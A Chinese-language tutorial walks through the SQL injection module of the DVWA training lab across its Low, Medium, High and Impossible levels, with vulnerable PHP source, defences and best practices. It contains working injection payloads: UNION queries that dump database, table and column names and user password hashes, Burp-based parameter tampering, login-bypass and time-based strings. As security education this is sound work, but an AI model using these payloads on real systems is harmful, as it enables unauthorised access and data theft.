摘要:本文是《DVWA从入门到精通》系列的第八篇,带你全面掌握SQL Injection(SQL注入)模块的攻防全流程。从SQL注入的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含字符型注入与数字型注入的判断、UNION联合查询脱库、information_schema元数据库利用、报错注入与布尔盲注、Burp Suite抓包绕过,以及PDO预处理和参数化查询等企业级防御策略,让你真正做到“知其然更知其所以然”。
一、什么是SQL注入?
1.1 SQL注入的核心原理
SQL注入(SQL Injection)是指攻击者通过操纵应用程序的输入参数,将恶意的SQL代码注入到后台数据库查询语句中,从而绕过身份验证、获取敏感数据、篡改数据库内容或执行危险操作。
用一个生活化的例子来理解:
想象你在公司前台,保安问你:“你的工号是多少?”你回答“10086”。保安对着对讲机说:“查一下工号10086的人是不是我们公司的员工?”——这是正常的查询。
但如果你回答的是:“10086’ OR ‘1’=‘1”,保安原封不动地把这句话传给对讲机:“查一下工号10086’ OR ‘1’=‘1’的人是不是我们公司的员工?”——对讲机那头的人一听:“哦,‘1’=‘1’永远成立,那所有人都是我们公司的员工了,放行!”
SQL注入就是这么回事——应用程序没有对用户输入做任何检查,直接把用户说的话拼接到SQL查询语句中,攻击者通过精心构造的输入改变了SQL语句的原本意图。
从技术角度来看:
Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑。
1.2 SQL注入的分类
根据注入技术,SQL注入可以分为以下几种类型:
| 类型 | 说明 |
|---|---|
| 联合查询注入(UNION) | 使用UNION关键字合并额外的查询结果 |
| 布尔盲注(Boolean-based) | 根据页面返回内容的真假判断 |
| 时间盲注(Time-based) | 根据页面响应时间的差异判断 |
| 报错注入(Error-based) | 利用数据库返回的错误信息获取数据 |
| 堆查询注入(Stacked Queries) | 同时执行多条SQL语句 |
1.3 SQL注入的危害
SQL注入的危害等级通常被认为是严重甚至毁灭性的:
| 危害 | 说明 |
|---|---|
| 读取敏感数据 | 从数据库中读取用户信息、密码、信用卡号等 |
| 修改数据库数据 | 插入、更新或删除数据库记录 |
| 绕过身份验证 | 无需密码即可登录系统 |
| 执行管理操作 | 关闭DBMS、修改数据库配置等 |
| 读取服务器文件 | 读取文件系统上存在的文件内容 |
| 执行系统命令 | 在某些情况下向操作系统发出命令 |
二、准备工作
2.1 靶场环境
确保DVWA已部署并正常运行:
访问地址:
http://你的服务器IP/dvwa/login.php使用
admin/password登录
2.2 必备工具
| 工具 | 用途 |
|---|---|
| 浏览器(Chrome/Firefox) | 访问靶场,F12开发者工具 |
| Burp Suite | 抓包分析、修改请求参数(Medium级别必需) |
2.3 基础知识储备
理解SQL的基本语法(SELECT、WHERE、UNION等)
了解MySQL的
information_schema元数据库熟悉注释符(
#、--、/* */)
三、Low级别:毫无防护的“裸奔”状态
3.1 安全级别设置
将DVWA Security设置为Low级别,然后进入SQL Injection模块。
3.2 界面观察
SQL Injection模块的界面包含一个输入框和一个“Submit”按钮。页面上方提示:“User ID”(用户ID)。输入一个数字(如1),页面会返回该用户的名字和姓氏。
3.3 源码分析
点击页面底部的“View Source”按钮,查看Low级别的核心代码:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>这段代码存在致命的SQL注入漏洞:
| 缺陷 | 说明 |
|---|---|
| 无任何过滤 | $_GET['id']直接获取用户输入,未经任何验证或过滤 |
| 直接拼接SQL | 用户输入被直接拼接到SQL查询语句中 |
| 字符型注入 | $id被单引号包裹,属于字符型注入 |
| 错误回显 | 数据库错误信息直接显示在页面上 |
3.4 攻击方法:完整的手工注入流程
第一步:判断注入点
测试1:输入正常值
输入1,点击提交。页面正常返回用户信息。
测试2:输入带单引号的值
输入1',页面返回SQL语法错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1结论:输入的单引号破坏了原始SQL语句结构,后端没有过滤特殊字符——确认存在SQL注入漏洞。
判断注入类型:
观察源码中的SQL语句:
SELECT first_name, last_name FROM users WHERE user_id = '$id';$id被单引号包裹,说明这是字符型注入。攻击时需要闭合单引号并注释掉后面的内容。
第二步:确认字段数
使用ORDER BY语句探测当前查询返回的字段数量:
1' order by 1 # 1' order by 2 # 1' order by 3 #输入1' order by 2 #正常返回,输入1' order by 3 #报错——说明当前表有2个字段。
第三步:确认回显位置
使用UNION联合查询确认数据显示位置:
1' union select 1,2 #页面会显示First name: 1和Surname: 2,说明两个位置都可以显示数据。
第四步:脱库(获取数据库信息)
查数据库名:
1' union select database(),2 #返回当前数据库名:dvwa。
查表名:
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #编码问题:如果遇到
Illegal mix of collations错误,说明UNION操作时字符集冲突,可以使用convert()强制转换编码:1' union select 1, convert(group_concat(table_name) using utf8) from information_schema.tables where table_schema='dvwa' #
返回dvwa数据库中的所有表名,包括guestbook和users。
查列名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #返回users表中的所有列名,包括user_id、first_name、last_name、user、password等。
查用户名与密码:
1' union select user, password from users #返回所有用户的用户名和MD5加密的密码。
3.5 Low级别总结
| 缺陷 | 说明 |
|---|---|
| 无任何输入过滤 | 用户输入直接拼接到SQL语句 |
| 字符型注入 | 需要闭合单引号 |
| 错误回显 | 数据库报错信息直接暴露 |
| 无任何防护 | 可执行任意SQL语句 |
四、Medium级别:转义函数的“第一次尝试”
4.1 安全级别设置
将DVWA Security切换为Medium级别。
4.2 观察变化
在Medium级别下,输入1'不再报错——单引号被转义了。同时,输入方式从文本框变成了下拉菜单,只能选择1到5这几个数字。
4.3 源码分析
查看Medium级别的核心代码:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>Medium级别的变化:
增加了转义函数:使用
mysqli_real_escape_string()对用户输入进行转义提交方式改变:从GET变为POST
输入形式改变:从文本框变为下拉菜单
注入类型改变:SQL语句中
$id没有单引号包裹,变为数字型注入
4.4mysqli_real_escape_string()的局限
mysqli_real_escape_string()函数会将以下特殊字符进行转义:
单引号
'→\'双引号
"→\"反斜杠
\→\\NULL字节等
在字符型注入中,这个函数能有效防御——因为攻击者无法闭合单引号。但在数字型注入中,不需要单引号闭合,所以转义函数完全失效!
4.5 攻击方法:Burp Suite抓包注入
由于Medium级别是数字型注入,且使用POST提交,攻击者可以通过Burp Suite抓包修改参数进行注入。
第一步:开启Burp Suite代理
配置浏览器代理为Burp Suite的监听地址(127.0.0.1:8080)。
第二步:抓取提交请求
在下拉菜单中选择一个数字(如1),点击Submit。Burp Suite拦截到请求:
第三步:修改参数进行注入
将id=1修改为注入Payload。由于是数字型注入,不需要单引号:
id=1 union select database(),2&Submit=Submit第四步:放行请求
点击Forward放行请求,页面返回数据库名。
常用Medium级别Payload:
| 目的 | Payload |
|---|---|
| 查数据库名 | 1 union select database(),2 |
| 查表名 | 1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() |
| 查列名 | 1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users' |
| 查数据 | 1 union select user, password from users |
4.6 Medium级别总结
| 改进 | 局限性 |
|---|---|
mysqli_real_escape_string()转义特殊字符 | 数字型注入不需要闭合引号,转义无效 |
| POST方式提交 | 可通过Burp Suite抓包修改 |
| 下拉菜单限制输入 | 可被Burp Suite绕过 |
| 有一定防护效果 | 数字型注入场景下完全无效 |
五、High级别:LIMIT 1的“画蛇添足”
5.1 安全级别设置
将DVWA Security切换为High级别。
5.2 观察变化
页面展示文本Click here to change your ID.,点击页面内here超链接会弹出独立弹窗页面session-input.php;相比 Medium 级别的下拉选择框,High 级恢复可自由编辑的文本输入框,支持手动输入自定义 ID 参数,弹窗仅提供输入框与提交按钮。后端 SQL 语句追加LIMIT 1限制查询输出行数,并过滤 SQL 注释字符,提升注入防御强度。
5.3 源码分析
查看High级别的核心代码:
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>High级别的变化:
分两步执行:SQL注入请求和结果获取分为两次请求
增加了
LIMIT 1:限制只返回一条结果$id从Session获取:不直接从GET/POST获取
5.4 攻击方法
High 级 SQL 注入将输入与查询拆分为两次独立请求,参数存储于 Session,无法直接 URL 传参注入,同时 SQL 语句存在LIMIT 1限制回显行数,无字符转义过滤,存在字符型 SQL 注入漏洞。
Burp Suite 手注步骤
第一步:判断注入类型和闭合方式
输入基准值1,页面正常返回用户信息,确认查询功能正常;
输入单引号1',页面抛出 SQL 语法错误,说明参数被单引号包裹,存在字符型注入漏洞;
输入1'#,利用注释符屏蔽 SQL 末尾多余单引号与LIMIT 1片段,页面恢复正常数据回显,验证闭合符号为单引号',且#可作为有效注释符修复 SQL 语法;
输入双引号1"页面正常显示数据,排除双引号闭合的可能性;
所以本场景为单引号闭合字符型 SQL 注入,非数字型注入。
第二步:猜解字段数
1' order by 2# //#注释掉后边内容,页面正常 1' order by 3# //页面报错,所以字段数为2第三步:获取回显位置
1' union select 1,2# //1,2都是回显位置第四步:获取数据库名
1' union select database(),2 #第五步:获取表名
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #第六步:获取表字段
1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #第七步:获取敏感数据
1' union select group_concat(user), group_concat(password) from users #5.5 High级别总结
| 改进 | 局限性 |
|---|---|
| 分两次请求执行 | 可手动构造两次请求绕过 |
LIMIT 1限制 | 可用#注释掉 |
| 增加攻击复杂度 | 但不改变漏洞本质 |
六、Impossible级别:终极防御方案
6.1 安全级别设置
将DVWA Security切换为Impossible级别。
6.2 源码分析
查看Impossible级别的核心代码:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time. $num_columns = $result->numColumns(); if ($num_columns == 2) { $row = $result->fetchArray(); // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } break; } } } // Generate Anti-CSRF token generateSessionToken(); ?>6.3 Impossible级别的六重防御体系
Impossible级别构建了六重防御体系,彻底杜绝了SQL注入的可能性:
第一层:CSRF Token验证
使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致,防止跨站请求伪造攻击。
第二层:数字类型检查(白名单)
使用is_numeric($id)检查输入是否为数字。只有数字才能通过,任何特殊字符都会被拒绝。
第三层:强制类型转换
使用intval($id)将输入强制转换为整数,彻底消除了注入的可能性。
第四层:PDO预处理语句(核心防御)
使用PDO(PHP Data Objects)预处理语句执行SQL查询:
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT );SQL指令模板和数据是分开发送的。数据库先编译SQL模板,再用参数值填充。无论用户输入什么特殊字符,都会被数据库严格当作普通数值处理,绝不会被执行。
第五层:限制返回行数
LIMIT 1确保只返回一条记录,防止批量数据泄露。
rowCount() == 1的检查更进一步,只有恰好返回一条记录时才显示结果。
第六层:一次性Token刷新
每次请求后调用generateSessionToken()生成新的Token,每个Token只能使用一次。
6.4 为什么Impossible级别无法被绕过?
要成功实施SQL注入攻击,攻击者需要满足以下条件:
| 条件 | Impossible级别的防护 | 攻击者能否达成 |
|---|---|---|
| 输入特殊字符 | is_numeric()检查 | ❌ 非数字直接被拒绝 |
| 闭合SQL语句 | intval()强制转换 | ❌ 输入被转为纯数字 |
| 执行恶意SQL | PDO预处理 | ❌ 数据与代码分离 |
| 批量获取数据 | LIMIT 1+rowCount()检查 | ❌ 最多返回一条 |
| CSRF攻击 | Token验证 | ❌ 无法伪造有效Token |
六重防护叠加,使得SQL注入攻击在Impossible级别下完全不可行。
七、防御SQL注入的最佳实践
通过DVWA四个级别的对比,我们可以总结出防御SQL注入的最佳实践:
7.1 必须实施的防御措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 参数化查询/预处理语句 | 使用PDO或MySQLi的预处理语句,将SQL代码与数据分离 | ⭐⭐⭐⭐⭐ |
| 输入验证(白名单) | 只允许特定格式的输入(如数字、邮箱格式等) | ⭐⭐⭐⭐⭐ |
| 最小权限原则 | 数据库账号只授予必要的权限,限制操作范围 | ⭐⭐⭐⭐⭐ |
| 错误信息处理 | 不将数据库错误信息直接暴露给用户 | ⭐⭐⭐⭐ |
7.2 推荐的辅助措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| 转义特殊字符 | 使用mysqli_real_escape_string()等函数(但不能作为唯一手段) | ⭐⭐⭐ |
| Web应用防火墙(WAF) | 部署WAF检测和阻断SQL注入攻击 | ⭐⭐⭐ |
| 存储过程 | 使用存储过程封装数据库操作 | ⭐⭐⭐ |
| 日志审计 | 记录所有数据库操作,便于事后追溯 | ⭐⭐ |
7.3 常见误区
在实际开发中,以下做法不能有效防御SQL注入:
❌仅使用
mysqli_real_escape_string():数字型注入时完全无效(如Medium级别)❌仅使用黑名单过滤:总有遗漏的特殊字符或编码绕过方式
❌依赖前端验证:攻击者可以绕过前端直接发请求
❌仅使用
LIMIT 1:可用注释符#绕过(如High级别)❌隐藏错误信息:只隐藏了报错,不解决注入本身
❌使用已弃用的
magic_quotes_gpc:该机制已被PHP废弃,防御效果有限
八、SQL注入的实战检测思路
在实际的渗透测试中,如何快速发现SQL注入漏洞?
8.1 检测步骤
寻找输入点:URL参数、表单输入、HTTP头(Cookie、User-Agent等)
注入特殊字符:输入'、"、)等,观察是否报错
判断注入类型:
报错则可能是字符型或数字型
不报错则可能是盲注
确认漏洞:使用' and '1'='1和' and '1'='2对比响应差异
利用漏洞:根据类型选择合适的注入技术
验证影响:确认可获取的数据范围和权限
8.2 常用检测Payload
| Payload | 目的 |
|---|---|
' | 检测是否存在注入(触发报错) |
' and '1'='1 | 确认注入存在(条件为真) |
' and '1'='2 | 确认注入存在(条件为假,对比响应差异) |
' or '1'='1 | 绕过登录验证 |
' union select 1,2 # | 探测回显位置 |
' and sleep(5) # | 检测时间盲注 |
九、总结
本文围绕 SQL 注入漏洞开展系统学习,我们掌握其核心原理:程序直接拼接用户输入至 SQL 语句,攻击者借助特殊符号篡改原有 SQL 逻辑,同时分清需单引号闭合的字符型注入与无需闭合的数字型注入;我们逐级完成 DVWA 各安全等级手工注入实操,Low 级别无任何过滤,可依次完成注入点判断、ORDER BY 探测字段、UNION 查询定位回显位、借助 information_schema 实现数据库全量脱库,Medium 采用 mysqli_real_escape_string () 转义仅能防护字符型注入,对数字型注入无效,可通过 Burp 抓包修改参数完成绕过,High 采用独立弹窗查询搭配 LIMIT 1 限制,使用 #注释符即可突破限制,Impossible 集成 CSRF Token、数值类型校验、intval 强制转换、PDO 参数化预处理、查询行数限制、一次性令牌六层防护,彻底阻断注入路径;此外还梳理出预处理参数化查询、输入白名单校验、数据库最小权限、屏蔽详细报错信息等防御手段。SQL 注入是经典高危 Web 漏洞,常年位居 OWASP 十大安全风险榜首,依托 DVWA 的 SQL 注入模块我们同步掌握完整手工注入攻击流程与分层防护思路,在生产环境中落实 PDO 预处理语句、输入白名单校验、数据库最小权限的多重防护策略,能够从根源杜绝 SQL 注入安全隐患。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。